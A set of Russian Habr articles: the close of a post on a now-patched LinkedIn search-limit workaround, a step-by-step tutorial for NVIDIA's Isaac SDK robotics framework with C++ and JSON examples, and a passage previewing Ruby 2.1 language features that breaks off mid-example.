Я не могу сказать что это является серьезной проблемой для LinkedIn, потому что никакой угрозы не несет. Максимум, это потерянная прибыль из-за подобных «обходов», позволяющая не платить за премиум. Возможно, такой ответ сервера необходим для корректной работы других частей сайта, или же это просто ~~лень разработчиков~~ недостаток ресурсов, не позволяющий сделать хорошо. (Ограничение появилось с января 2015 года, до этого лимита не было).
P.S.
----
**Старый P.S.** Ествественно, код на jQuery довольно примитивный пример возможностей. В данный момент я создал extension для браузера под свои нужды. Он добавляет кнопки контроля и рендерит полноценные профили с картинками, кнопкой приглашения и общими коннектами. Плюс динамически собирает фильтры локаций, компаний и прочего, достает токен из куки. Так что ничего хардокдить уже не нужно. Ну и добавляет дополнительные поля настроек, а-ля «сколько профилей запрашивать за раз, до 49».
Над этим дополнением я все еще работаю и в планах выложить его в открытый доступ. Пишите если вам интересно.
По многочисленным просьбам выложить дополнение в открытый доступ, я создал дополнение для браузера и выложил его для общего использования (бесплатно и даже без майнеров). Там реализован не только функционал обхода лимита, но и прочие удобности. Ознакомиться и скачать можно здесь — [adam4leos.github.io](https://adam4leos.github.io/)
Так как это альфа версия, не стеснятесь писать мне о багах, идеях и даже ~~стремном~~ шикарном UI. Я продолжаю развивать дополнение и буду периодически выкладывать новые версии.
**#### Важный апдейт — LinkedIn приняли во внимание уязвимость и недавно исправили ее. Обход и плагин больше не работают.** | https://habr.com/ru/post/462167/ | null | ru | null |
# Isaac SDK. Альтернатива ROS от NVIDIA. Краткое руководство
[Isaac SDK](https://developer.nvidia.com/isaac-sdk) это современный фреймворк для разработки систем управления роботов, ориентированный на машинное обучение. Isaac SDK появился в начале 2019г. и уже имеет несколько релизов. Разрабатывается фреймворк компанией NVIDIA для своей встраиваемой платформы Jetson и компьютеров с GPU NVIDIA на борту. На другом железе Isaac SDK не поддерживается. Пользуясь тем, что никто еще тут про него не написал, попробую сделать это сам, раз уж имею какой-никакой опыт работы с ним.
Кроме того, совсем недавно вышла новая версия 2020.2. В которой появилось много нового. Примеры будут именно для этой версии.
Isaac SDK является аналогом ROS, и очень на него похож, однако, обладает существенными отличиями в реализации и архитектуре. Об этих отличиях чуть позже.
Содержание
----------
1. [Архитектура](#description)
2. [Установка](#installation)
3. [Сборка и запуск приложения](#buildapp)
4. [Создание своего приложения](#myapp)
5. [WebSight](#sight)
6. [PoseTree](#posetree)
[Заключение](#%D0%B7%D0%B0%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)
[Источники](#%D0%B8%D1%81%D1%82%D0%BE%D1%87%D0%BD%D0%B8%D0%BA%D0%B8)
1. Архитектура
--------------
Архитектура системы управления в Isaac SDK представляет собой граф узлов (nodes) и их соединений (channels), как и в ROS. Однако, узлы не являются отдельными независимыми процессами, которые в ROS общаются посредством TCP/IP(за исключением nodelet). В Isaac SDK весь граф собирается в одно приложение, которое все сразу собирается и все сразу запускается. Передача данных по сети, при необходимости, делается отдельно. При этом, система получается априори децентрализованной.
Для тех, кто не знаком с ROSДля тех, кто не знаком с ROS, поясню, что узлами(nodes) называются программы, которые пишутся вами, другими пользователями, или уже есть готовые. Каждая из этих программ решает одну конкретную задачу. Например, детектирование объектов на изображении делает один узел, а предварительную обработку изображения (фильтрация, ректификация и т.п.) делает другой узел. Получением видеопотока с камеры занимается третий узел и т.д.
Передача информации между этими узлами происходит с помощью каналов или топиков, информацию в которые узлы могут публиковать и на которую могут подписываться. Иными словами, используется модель Издатель-Подписчик (Publisher-Subscriber).
Программные инструменты для написания узлов и коммуникации между ними предоставляет ROS. Аналогично работает и Isaac SDK.
Для пользователя, разрабатывающего приложения, Isaac SDK предоставляет множество инструментов и готовых решений:
Взято из developer.nvidia.comIsaac SDK включает в себя поддержку CUDA, TensorRT, OpenCV, Eigen, Gstreamer, различные библиотеки для выполнения вычислений на графическом ускорителе и прочее. И в процессе установки он их все скачает :)
Для ряда задач робототехники и машинного обучения уже есть готовые GEMs (high-performance algorithms), причем среди них есть и достаточно вкусные алгоритмы. Например, AprilTags и ORB дескриптор с GPU ускорением. Включены примеры для работы с моделями по детектированию объектов, людей, области проходимости и тд. Есть инструменты для планирования маршрутов и навигации роботов на 2d карте для колесных и шагающих роботов.
В дополнение к Isaac SDK, поставляется ПО IsaacSim, которое позволяет использовать симуляторы для роботов. Поддерживаются хорошо известный [Unity](https://docs.nvidia.com/isaac/isaac/doc/simulation/unity3d.html), и новинка от NVIDIA - [Omniverse IsaacSim](https://docs.nvidia.com/isaac/isaac/doc/simulation/ovkit.html). Мне не приходилось, пока что, с ними работать, поэтому в данном руководстве работа с симуляторами рассматриваться не будет.
2. Установка
------------
Фреймворк для работы требует видеокарту NVIDIA c драйвером 440 (рекомендовано). CUDA устанавливать рекомендуется, однако bazel при первой же сборке скачает и будет использовать свою версию NVCC для сборки CUDA кода.
Для SDK 2020.2 на Jetson должен быть установлен JetPack 4.4.1, а для версии 2020.1: JetPack 4.3. Это необходимо для корректной кросс-компиляции на Jetson.
Весь фреймворк [скачивается](https://developer.nvidia.com/isaac/downloads) с официального сайта одной папкой, которую вы располагаете в удобном вам месте на рабочей машине. Например, в **~/isaac** . Далее вам нужно установить зависимости на компьютере, за которым вы будете работать (далее будем называть этот компьютер **рабочим компьютером**) :
```
bob@desktop:~/isaac/engine/$ engine/build/scripts/install_dependencies.sh
```
ВажноДанный скрипт ни на одной моей Ubuntu 18.04 не сработал сразу без ошибок. Ни в версии 2020.1, ни в новой 2020.2 . К сожалению, вам придется в ручную смотреть что не смог установить скрипт и устанавливать это в ручную. Видимо, стоит его рассматривать только как пример, а не готовый к использованию инструмент.
Установка на Jetson, он же **бортовой вычислитель робота** (он находится с рабочим компьютером в локальной сети), делается следующей командой:
```
bob@desktop:~/isaac/engine/$ engine/build/scripts/install_dependencies_jetson.sh -u -h
```
для более поздних версийЗаметим, для версии 2020.1 и более поздних скрипты располагаются немного в другом месте:
```
bob@desktop:~/isaac/$
```
На этом установка закончится.
Как можно заметить, на бортовой вычислитель робота (в д.с. это Jetson TX2, Nano, Xavier NX или любой x86\_64 компьютер c NVIDIA GPU) исходники скачивать не нужно. Предполагается, что все ПО собирается через кросс-компиляцию и закачивается на робот по сети. Это очень удобно и настроено из коробки. Подробнее об установке можно найти в [официальной документации](https://docs.nvidia.com/isaac/isaac/doc/setup.html).
3. Сборка приложения
--------------------
Isaac SDK использует систему сборки bazel и все приложения, пакеты, компоненты собираются вместе с исходниками всего SDK. При этом, многие зависимости будут скачиваться при первой сборке, поэтому первая сборка будет не быстрой.
**Сборка для рабочего компьютера** происходит следующей командой (для примера использовано стандартное приложение ping\_pong):
```
bob@desktop:~/isaac/sdk/$ bazel build //apps/tutorials/ping_pong:ping_pong
```
**Запуск приложения на рабочей машине:**
```
bob@desktop:~/isaac/sdk/$ bazel run //apps/tutorials/ping_pong:ping_pong
```
Во время такого запуска, если это необходимо, происходит и сборка.
**Cборка для бортового вычислителя робота** удобным образом происходит с помощью специального скрипта. Этот скрипт собирает приложение на рабочем компьютере(кросс компиляция), и заливает готовое к запуску приложение по ssh на бортовой вычислитель робота. Предварительно, официальная документация рекомендует настроить доступ по ssh без пароля:
```
bob@desktop:~/isaac/sdk/$ ssh-copy-id @
```
Тогда использование скрипта сборки выглядит следующим образом:
```
bob@desktop:~/isaac/sdk/$ ./../engine/build/deploy.sh --remote_user -p //apps/tutorials/ping\_pong:ping\_pong-pkg -d jetpack43 -h
```
ПоясненияДобавка **-pkg** здесь не случайна. Ее необходимо добавлять к названию приложения. **jetpack43** - обозначение версии платформы бортового вычислителя. Для семейства Jetson, на данный момент, используется jetpack43, в ином случае можно выбрать **х86\_64** . Запускаемое приложение скачивается на бортовой вычислитель в */home//deploy/bob*, где bob - имя пользователя на рабочем компьютере
Для более старых версий: `bob@desktop:~/isaac/$ ./engine/build/deploy.sh`
Для автоматического запуска приложения на бортовом вычислителе сразу после сборки, к команде добавляется аргумент **--run**.
Для ручного запуска, можно выполнить на бортовом вычислителе:
```
cd ~/deploy/bob/ping_pong-pkg
./apps/tutorials/ping_pong/ping_pong
```
4. Создание своего приложения
-----------------------------
Начнем с того, что в Isaac SDK используются такие понятия как: пакеты(packages), узлы(nodes), каналы(channels), но и такие понятия как: приложения(applications) и компоненты(components).
Так вот, одной фразой иерархию можно описать так: Пакеты включают в себя приложения, которые состоят из узлов, которые состоят из компонентов. Узлы между собой общаются с помощью каналов. При этом, стоит заметить, что компоненты универсальны по отношению к узлам. Все "полезные" вычисления происходят в компонентах. Компоненты, находящиеся в составе одного узла блокируют друг-друга, а находящиеся в разных узлах - нет.
Каждый пакет состоит из **BUILD** файла - c инструкциями для сборщика bazel. **BUILD** ссылается на один или несколько **.json**, в которых описывается структура и связи узлов и компонентов приложения, а также настройки компонентов. Компоненты обычно описываются в виде cpp/hpp или предварительно скомпилированных .so файлов. Кроме С++ поддерживается Python, который можно использовать для написания компонентов или вместо json файла.
В качестве примера реализуем простейшее приложение "Ping Pong", в отличие от стандартного, наше приложение будет состоять из одного компонента и для Ping и для Pong. (а почему бы и нет)
Итак, начнем. Создадим директорию нового приложения в **~/isaac/sdk/packages/myapp**. В этой директории создадим файлы:
* BUILD
* myapp.app.json
* MyPingPong.cpp, MyPingPong.hpp
Рассмотрим структуру файла **MyPingPong.hpp:**
```
#pragma once
#include "engine/alice/alice_codelet.hpp" // ядро isaac sdk
#include "messages/ping.capnp.h" // нужен для PingProto
namespace isaac {
class MyPingPong: public isaac::alice::Codelet {
public:
// Запускается при старте компонента
void start() override;
// В зависимости от реализации start(): запускается многократно, либо с заданным периодом, либо в блокирующем режиме, либо по событию приема нового сообщения.
void tick() override;
// Запускается по завершению работы компонента
void stop() override;
// Коммуникация с другими компонентами
ISAAC_PROTO_TX(PingProto, ping);
ISAAC_PROTO_RX(PingProto, pong);
// Параметры запуска компонента
// (тип , название, значение по умолчанию)
ISAAC_PARAM(bool, wait_ping, true);
ISAAC_PARAM(std::string, message, "Текст сообщения");
};
}
ISAAC_ALICE_REGISTER_CODELET(isaac::MyPingPong);
```
И соответствующую реализацию в **MyPingPong.cpp**
```
#include "MyPingPong.hpp"
#include "engine/core/logger.hpp"
namespace isaac {
void MyPingPong::start() {
if (get_wait_ping()) {
LOG_INFO("Запуск в режиме Pong");
// Запускать tick() по событию приема нового сообщения (rx_pong)
tickOnMessage(rx_pong());
} else {
LOG_INFO("Запуск в режиме Ping");
// Запускать tick() с периодом, определенным в унаследованном параметре tick_period
tickPeriodically();
}
}
void MyPingPong::tick() {
if (!get_wait_ping()) {
// Получение значения параметра message
std::string msg = get_message();
// Инициализация нового сообщения
PingProto::Builder ping_proto = tx_ping().initProto();
// Заполнение его данными
ping_proto.setMessage(msg);
// Отправка
tx_ping().publish();
} else {
// Получение Proto обьекта входящего сообщения из канала pong
PingProto::Reader pong_proto = rx_pong().getProto();
// чтение из Proto обьекта
const std::string pong_msg = pong_proto.getMessage();
// расчет времени между отправкой и приемом сообщения
int64_t latency_ns = this->getTickTimestamp()-rx_pong().pubtime();
LOG_INFO("%s by %d ns", pong_msg.c_str(), latency_ns);
}
}
void MyPingPong::stop() {
LOG_WARNING("Завершение работы компонента");
}
} // namespace isaac
```
Теперь разберем файл **myapp.app.json**
```
{
"name": "myapp",
"modules": [
"//packages/myapp:myapp_components"
],
"graph": {
"nodes": [
{
"name": "ping",
"components": [
{
"name": "message_ledger",
"type": "isaac::alice::MessageLedger"
},
{
"name": "ping",
"type": "isaac::MyPingPong"
}
]
},
{
"name": "pong",
"components": [
{
"name": "message_ledger",
"type": "isaac::alice::MessageLedger"
},
{
"name": "pong",
"type": "isaac::MyPingPong"
}
]
}
],
"edges": [
{
"source": "ping/ping/ping",
"target": "pong/pong/pong"
}
]
},
"config": {
"ping" : {
"ping" : {
"tick_period" : "1Hz",
"wait_ping": false,
"message": "Пинг"
}
},
"pong" : {
"pong" : {
"wait_ping": true
}
}
}
}
```
`name` - название приложения, описываемого данным json файлом
`modules` - список модулей или компонентов, которые используются в приложении
`graph.nodes` - определение узлов, из которых будет состоять граф приложения
* Каждый узел описывается его именем **name**, задаваемым произвольно и списком компонентов узла **components**.
* Компоненты описываются именем **name**, тоже задаваемым произвольно и типом **type**, который должен соответствовать классу, описывающему соответствующий компонент (см. `ISAAC_ALICE_REGISTER_CODELET(/* type */)` в **.hpp** файле)
`graph.edges` - определение ребер графа, связывающих узлы графа между собой. Или связывающих входы (graph.eges[].source) и выходы (graph.eges[].target) компонентов приложения между собой.
`graph.config["Название узла"]["Название компонента"] {...}` - определение параметров каждого компонента.
Для сборки приложения, необходимо, кроме прочего, определить инструкции для сборщика bazel в файле **.BUILD**:
```
load("//engine/build:isaac.bzl", "isaac_app", "isaac_cc_module")
isaac_cc_module(
name = "myapp_components",
srcs = [
"MyPingPong.cpp",
],
hdrs = [
"MyPingPong.hpp",
],
visibility = ["//visibility:public"],
deps = [],
)
isaac_app(
name = "myapp",
modules = [
"//packages/myapp:myapp_components",
],
)
```
`isaac_app()` *-* определяет название, состав модулей и **.json** файл для запуска. По умолчанию, для имени **myapp** будет запускаться **myapp.app.json**. Но это можно определить в ручную параметром`app_json_file` . Более подробно о параметрах можно узнать в файле **//engine/build:isaac.bzl**, который используется для загрузки правил сборщика в начале **BUILD** файла.
`isaac_cc_module()` - определяет модуль или цель сборки. Пользователю необходимо указать исходные и заголовочные файлы в соответствующих **srcs** и **hdrs** параметрах, а **deps** позволяет подключить модули из других компонентов Isaac SDK. Заметим, что вместо **srcs** можно напрямую указывать предварительно скомпилированные **.so** файлы. В модуле можно собрать исходники сразу для нескольких компонентов, поэтому это и называется модулем.
---
На этом создание простейшего приложения закончено, осталось лишь его запустить:
```
bob@desktop:~/isaac/sdk/$ bazel run //packages/myapp:myapp
```
Приложение будет собрано и запущено. А в консоли, помимо прочих сообщений от Isaac SDK будет выведено:
```
2020-12-15 16:07:57.257 INFO packages/myapp/MyPingPong.cpp@23: Запуск в режиме Ping
2020-12-15 16:07:57.257 INFO packages/myapp/MyPingPong.cpp@19: Запуск в режиме Pong
2020-12-15 16:07:57.259 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 39365 ns
2020-12-15 16:07:58.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 56991 ns
2020-12-15 16:07:59.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 52947 ns
2020-12-15 16:08:00.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 39796 ns
2020-12-15 16:08:01.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 48428 ns
2020-12-15 16:08:02.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 45354 ns
2020-12-15 16:08:03.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 47189 ns
2020-12-15 16:08:04.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 51679 ns
2020-12-15 16:08:05.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 44236 ns
2020-12-15 16:08:06.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 32342 ns
2020-12-15 16:08:07.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 44825 ns
2020-12-15 16:08:08.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 54816 ns
2020-12-15 16:08:09.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 32964 ns
2020-12-15 16:08:10.257 INFO packages/myapp/MyPingPong.cpp@45: Пинг by 55783 ns
^C // << тут я нажал Сtrl+C
2020-12-15 16:08:10.742 INFO engine/alice/application.cpp@274: Stopping application 'myapp' (instance UUID: '8ce1f328-3ed6-11eb-bd16-9306eae0ce97') ...
2020-12-15 16:08:10.753 WARN packages/myapp/MyPingPong.cpp@50: Завершение работы компонента
2020-12-15 16:08:10.753 WARN packages/myapp/MyPingPong.cpp@50: Завершение работы компонента
```
Если просмотреть лог, то можно найти много полезной информации, например, "посмертную" статистику работы приложения:
```
2020-12-20 18:35:38.743 INFO external/com_nvidia_isaac_engine/engine/alice/backend/backend.cpp@148: Backend is shutting down... DONE
2020-12-20 18:35:38.743 INFO external/com_nvidia_isaac_engine/engine/alice/backend/backend.cpp@152: codelets:
|=====================================================================================================================|
| Job Statistics Report (regular) |
|=====================================================================================================================|
| Name | Count | Time (Median - 90% - Max) [ms] | Load (%) | Late (%) |
|---------------------------------------------------------------------------------------------------------------------|
| isaac.alice.BufferAllocatorReport | 2 | 0.00 | 0.00 | 0.01 | 0.2 % | 0.0 % |
| isaac.alice.LifecycleReport | 13 | 0.00 | 0.00 | 2.11 | 51.0 % | 0.0 % |
| isaac.alice.MessagePassingReport | 2 | 1.11 | 1.11 | 2.13 | 42.8 % | 0.0 % |
| ping | 4 | 0.06 | 0.06 | 0.08 | 3.7 % | 0.0 % |
| pong | 4 | 0.05 | 0.05 | 0.06 | 2.4 % | 0.0 % |
|=====================================================================================================================|
```
Судя по данному логу, можно заметить, что помимо наших компонентов запустились еще несколько других. Это системные компоненты, необходимые для работы функций ядра Isaac SDK.
Кроме данных компонентов, ядром предоставляются и другие. Автоматически, по крайней мере в 2020.2, они не запускаются. Рассмотрим пару самых, на мой взгляд, необходимых:
5. WebsightServer
-----------------
WEB-сервер, необходимый для взаимодействия пользователя и приложения. Для тех, кто знаком с ROS, этот компонент можно назвать аналогом RViz, который объединен с RQt.
Для простого запуска Sight необходимо добавить модуль `"sight"` в инструкции сборщика **BUILD** и инструкции запуска **myapp.app.json** .
Изменить в **BUILD:**
```
isaac_app(
name = "myapp",
modules = [
"//packages/myapp:myapp_components",
"sight",
],
)
```
Изменить в **myapp.app.json:**
```
"modules": [
"//packages/myapp:myapp_components",
"sight"
],
```
Тогда, в логе запуска нашего приложения появится пару строк:
```
2020-12-15 17:11:32.478 INFO packages/sight/WebsightServer.cpp@216: Sight webserver is loaded
2020-12-15 17:11:32.478 INFO packages/sight/WebsightServer.cpp@217: Please open Chrome Browser and navigate to http://:3000
```
Вот и все, открываем браузер и вводим **http://localhost:3000**. Этого достаточно, чтобы воспользоваться частью функционала Sight.
Для нашего приложения WebSight будет выглядеть так:
Но может он выглядеть гораздо более красочно:
О том, как сделать его таким, рассмотрим чуть позже. А сейчас рассмотрим его интерфейс.
Справа список узлов, раскрывая которые можно менять параметры компонентов каждого узла.
Если поменять **Пинг** на **Пинг мод**, и нажать `Submit`, то наш компонент **ping** будет выводить в консоль:
```
2020-12-15 17:37:05.482 INFO packages/myapp/MyPingPong.cpp@48: Пинг мод by 29734 ns
2020-12-15 17:37:06.482 INFO packages/myapp/MyPingPong.cpp@48: Пинг мод by 46147 ns
2020-12-15 17:37:08.482 INFO packages/myapp/MyPingPong.cpp@48: Пинг мод by 31060 ns
```
Так можно менять любые параметры, и если логика компонента предусматривает, что значение параметра может быть изменено в процессе его работы, то это будет работать. Можно сказать, аналог `dynamic_reconfigure` из ROS.
Слева виден список окон:
**Статистика** (Statistics) - показывает статистику запущенных компонентов приложения.
статистика**Граф приложения** (App Graph) - показывает граф узлов приложения и связи между ними. Аналог `rqt_node_graph` из ROS, но более скудный по функционалу. Например, он не показывает название каналов (аналог топиков в ROS), да и меньше инструментов по фильтрации отображения. Однако, тут показывается статус выполнения каждого из узлов и расположение узлов можно менять с помощью мышки. Это удобно.
* серый цвет для еще не запущенных узлов
* золотой для стартующих узлов
* оранжевый для узлов, выполняющихся с частотой менее 0.1 Гц или находящихся на паузе.
* зеленый для узлов, выполняющихся с частотой более 0.1 Гц.
* красный для остановленных узлов.
граф связей узлов приложения myapp **PoseTree** - окно, показывающее дерево зависимости систем координат в приложении. Аналог `tf_tree` в ROS. Работу с системами координат рассмотрим чуть позже. Изображение ниже показано для примера.
Пример дерева с/к**Virtual Gamepad** - виджет WebSight позволяющий передавать сигналы джостика, мыши и клавиатуры в Isaac SDK, например, для ручного управления роботом по сети.
Пример окна для подключенного геймпадаДля подключения джостика используется браузерный [Gamepad API](https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API).
Для получения данных джостика из этого виджета, необходимо добавить в граф вашего приложения компонент `isaac::navigation::VirtualGamepadBridge` .
[Подробнее о подключении в документации](https://docs.nvidia.com/isaac/isaac/packages/navigation/doc/virtual-gamepad.html).
**Replay Control Panel** - виджет, позволяющий проигрывать ранее записанные данные каналов. Например, данные сенсоров. Аналог `rosbag play` из ROS.
**Record Control Panel** - виджет, позволяющий записывать данные публикуемые в каналы для последующего воспроизведения. Аналог `rosbag record` из ROS.
До сих пор, интерфейс позволяет получить доступ только к стандартному функционалу.
Однако, Sight позволяет выводить свою 2D/3D графику, строить графики изменения различных величин и интерактивные элементы.
### 5.1. Вывод своих данных в Sight
Вывод осуществляется с помощью функции show(). Для нее существует несколько реализаций, для различных типов данных и наборов аргументов:
show(...)Реализация функции show():
```
// Helper function to show a variable with sight
template >::value, int> = 0>
void show(const std::string& tag, T value) const {
node()->sight().show(this, tag, getTickTime(), value);
}
// Helper function to show a variable with sight
template >::value, int> = 0>
void show(const std::string& tag, double time, T value) const {
node()->sight().show(this, tag, time, value);
}
// Helper function to show everything except a variable with sight
template >::value, int> = 0>
void show(const std::string& tag, T&& arg) const {
node()->sight().show(this, tag, getTickTime(), std::forward(arg));
}
// Helper function to show everything except a variable with sight
template >::value, int> = 0>
void show(const std::string& tag, double time, T&& arg) const {
node()->sight().show(this, tag, time, std::forward(arg));
}
```
Например, для построения графика величины задержки между отправкой и приемом сообщения ping/pong достаточно добавить одну строчку после объявления latency\_ns в **MyPingPong.cpp**
```
show("latency", latency_ns);
```
Тогда, в sight появится доступный к использованию канал:
После чего, отобразить график можно либо нажав ПКМ по latency, либо с помощью Add plot.
Либо, сконфигурировать изначально в myapp.app.json (добавить в config).
```
"websight": {
"WebsightServer": {
"port": 3000,
"ui_config": {
"windows": {
"imu_rpy": {
"renderer": "plot",
"channels": [
{ "name": "myapp/pong/pong/latency" }
]
}
}
}
}
}
```
Функция show позволяет осуществлять и более сложный рендеринг с помощью sight::Sop. Тогда, show() будет выглядеть примерно так:
```
sight::show("some_drawing", [&](sight::Sop& sop) {
// различные операции с обьектом sop.
});
```
[Подробнее на станице документации](https://docs.nvidia.com/isaac/isaac/packages/sight/doc/backend.html).
6. PoseTree
-----------
PoseTree это инструмент, упрощающий работу с преобразованием систем координат. Аналог TF из ROS.
Добавить новую систему координат можно путем определения матрицы преобразования из одной системы координат в другую. Данное преобразование можно добавить с помощью специального макроса в заголовочном файле компонента:
```
// Для двухмерного случая
ISAAC_POSE2(ping, pong);
// Для трехмерного случая
ISAAC_POSE3(ping, pong)
```
После этого, необходимо определить параметр `ping_T_pong` , например, следующим образом:
```
// Для двухмерного случая
double x=1,y=2,angle=3.14;
const Pose2d ping_T_pong{SO2d::FromAngle(angle), Vector2d{x, y}};
set_ping_T_pong(ping_T_pong, getTickTime());
// Для трехмерного случая
double x=1,y=2,z=3,angle=3.14;
Vector3d z_axis{0.0, 0.0, 1.0};
const Pose3d ping_T_pong{SO3d::FromAxisAngle(z_axis, angle),
Vector3d{x, y, z}};
set_ping_T_pong(ping_T_pong, getTickTime());
```
В результате, мы увидим в WebSight:
Соответственно, если необходимо получить преобразование между теми или иными с/к, достаточно просто использовать `get_foo_T_bar()`, где foo и bar названия систем координат.
```
// 2d
const Pose2d foo_T_bar = get_foo_T_bar(getTickTime());
// 3d
const Pose3d foo_T_bar = get_foo_T_bar(getTickTime());
```
---
Заключение
----------
В заключение, хотелось бы выразить свое мнение относительно Isaac SDK. Isaac SDK разработан для профессионального использования и хорошо оптимизирован под обработку видео данных и машинное обучение. Отдельно замечу удобство использования CUDA кода рядом с обычным C++(упрощена передача данных CPU-GPU) и богатую библиотеку стандартных компонентов, ускоренных с помощью GPU. Однако, система сборки bazel может оказаться непривычной, особенно, если необходимо использовать сторонний код, собираемый cmake. Дополнительно, серьезным недостатком является пока еще сравнительно маленькое сообщество и форум, на котором отвечают не так быстро, как хотелось бы.
Оговорюсь, что сравнивать с ROS1 этот фреймворк не стоит. На мой взгляд, ROS1 не годится для профессионального использования. ROS2 другое дело. Сравнение было бы интересно. Вроде бы, на просторах интернета такого сравнения еще нет.
Хочу сказать спасибо моему другу и коллеге Александру, который подал мне идею написать эту статью и периодически пинал меня, чтобы я ее закончил.
Прошу поучаствовать в опросе. Было бы интересно узнать, как много людей на хабре знакомы или используют Isaac SDK.
Источники
---------
[Оф. документация](https://docs.nvidia.com/isaac/isaac/doc/index.html)
[Форум](https://forums.developer.nvidia.com/c/agx-autonomous-machines/isaac/67)
[Ссылка на примеры в статье](https://github.com/MrBoriska/habr_isaac_tutorial) | https://habr.com/ru/post/531538/ | null | ru | null |
# Чего нам ждать от Ruby 2.1?
Несколько дней назад Константин Хаасе, один из ключевых людей в сообществе Ruby, опубликовал [запись в своём блоге](http://rkh.im/ruby-2.1), посвящённую анонсу предварительной версии Ruby 2.1. Изменений между версиями 2.0 и 2.1 накопилось достаточно, чтобы вчитаться в его изложение, и лучше — на русском языке.
*NB: разумеется, Ruby 2.1 содержит все замечательные возможности предыдущей версии — 2.0. Изменения предыдущих версий упоминаться не будут.*
#### Механизм уточнений
Известно, что в Ruby 2.0 введён механим уточнений. Реализация данного механизма оказалась достаточно противоречивой, поэтому в версии 2.0 его функциональность была несколько ограничена и помечена как экспериментальная.
> Стоит напомнить, что уточнения позволяют применять манки патчи в рамках единственного Ruby-файла:
>
>
>
>
> ```
> module Foo
> refine String do
> def foo
> self + "foo"
> end
> end
> end
>
> using Foo
> puts "bar".foo
>
> ```
>
>
> За пределами данного файла экземпляры класса `String` не будут отвечать на метод `foo`.
>
>
В новой версии Ruby уточнения не будут являться экспериментальной возможностью. Более того, их можно будет применять не только к области видимости верхнего уровня, но и к отдельным модулям.
```
module Foo
refine String do
def foo
self + "foo"
end
end
end
module Bar
using Foo
puts "bar".foo
end
```
Важно иметь в виду, что чрезмерное увлечение уточнениями может привести к написанию достаточно запутанного кода. Разработчики некоторых реализаций Ruby уже заявили, что могут отказаться поддерживать уточнения.
#### Десятичные литералы
При работе с Ruby можно заметить, что значения с плавающей запятой ведут себя не лучшим образом, когда над ними выполняются вычисления, привычные по работе с десятичными дробями:
```
irb(main):001:0> 0.1 * 3
=> 0.30000000000000004
```
Подобное поведение приводит к тому, что большое количество Ruby-разработчиков начинает использовать целые числа, имитируя заданное количество знаков после запятой при представлении результата. Безусловно, такой способ работает хорошо при строго заданном количестве знаков после запятой. В противном случае приходится использовать рациональные дроби — это не очень плохо, но язык не обладает достаточно удобным синтаксисом для работы с ними.
Новая версия Ruby представляет суффикс `r` для описания десятичных и рациональных дробей:
```
irb(main):001:0> 0.1r
=> (1/10)
irb(main):002:0> 0.1r * 3
=> (3/10)
```
#### Иммутабельные строки
Если в коде содержится объявление строки, то каждый раз при исполнении содержащей его строки кода Ruby создаёт новый объект класса `String`. Это обусловлено мутабельностью строк. В таких случаях символы ведут себя гораздо эффективнее, так как инициализируются всего один раз. Тем не менее, для сравнения символа со строкой нужно провести преобразование строки в символ или символа в строку. Выполнение таких преобразований — рискованная операция, открывающую потенциальную возможность для DoS-атаки, так как символы не освобождаются при сборке мусора, а любое преобразование символа в строку создаёт новую строку.
Единственный способ уберечь себя от негативных последствий в данном случае — хранить и использовать строку как константу:
```
class Foo
BAR = "bar"
def bar?(input)
input == BAR
end
end
```
Часто, чтобы избавиться от мутабельности, выполняют заморозку строки. Заморозка объекта предотвращает его изменение со стороны кода на Ruby, однако не даёт никаких прибавок к производительности:
```
class Foo
BAR = "bar".freeze
def bar?(input)
input == BAR
end
end
```
Это выглядит достаточно нелепо и громоздко. К счастью, Ruby 2.1 предлагает новый синтаксис для решения данной задачи:
```
class Foo
def bar?(input)
input == "bar"f
end
end
```
В приведённом коде будет создан иммутабельный объект класса `String`, и где бы он ни использовался — он будет инициализирован всего один раз.
Не исключено, что такой синтаксис может показаться странным. Тот же самый фрагмент кода можно переписать эквивалентно:
```
class Foo
def bar?(input)
input == %q{bar}f
end
end
```
Вообще, вопрос применения суффикса `f` к массивам и хэшам остаётся открытым.
#### Обязательные ключевые аргументы
Почему-то в анонсе Ruby 2.0 не были упомянуты обязательные ключевые аргументы. Итак, Ruby 2.0 представляет обязательные ключевые аргументы:
```
def foo(a: 10)
puts a
end
foo(a: 20) # 20
foo # 10
```
При таком подходе к объявлению методов приходится указывать значения аргументов по-умолчанию. Это не всегда возможно, поэтому Ruby 2.1 позволяет задать обязательные ключевые аргументы:
```
def foo(a:)
puts a
end
foo(a: 20) # 20
foo # ArgumentError: missing keyword: a
```
#### Объявление метода возвращает имя метода
В предыдущих версиях Ruby объявление метода при помощи `def` возвращало `nil`.
```
def foo() end # => nil
```
Теперь это поведение изменилось и имя метода возвращается как символ:
```
def foo() end # => :foo
```
Это полезно при метапрограммировании и выполнении подобных трюков. Например, все ли знают, что метод `private` может принимать аргументы?
```
# приватным будет только метод foo
class Foo
def foo
end
private :foo
# метод bar останется незатронутым
def bar
end
end
```
Теперь, когда `def` возвращает имя объявленного метода, можно легко делать методы приватными:
```
# приватными будут только методы foo и bar
class Foo
private def foo
end
private \
def bar
end
def baz
end
end
```
#### Удаление лишних байт из строк
Теперь Ruby имеет удобный метод для удаление лишних байт из строк:
```
some_string.scrub("")
```
Раньше было сложно добиться одинакового поведения такого метода для всех существующих реализаций Ruby, поэтому также доступна [библиотека](https://github.com/rkh/coder) для этого.
#### StringScanner поддерживает именованные захваты
Многим нравится класс `StringScanner` из стандартной библиотеки языка. В частности, он используется в Rails для разбора шаблонов маршрутов. То же самое будет делать Sinatra 2.0.
В версии 1.9 была добавлена поддержка именованных захватов, однако `StringScanner` их не поддерживал:
```
require 'strscan'
s = StringScanner.new("foo")
s.scan(/(?.\*)/)
puts s[:bar]
```
В Ruby 2.0 такой код выбросит исключение:
```
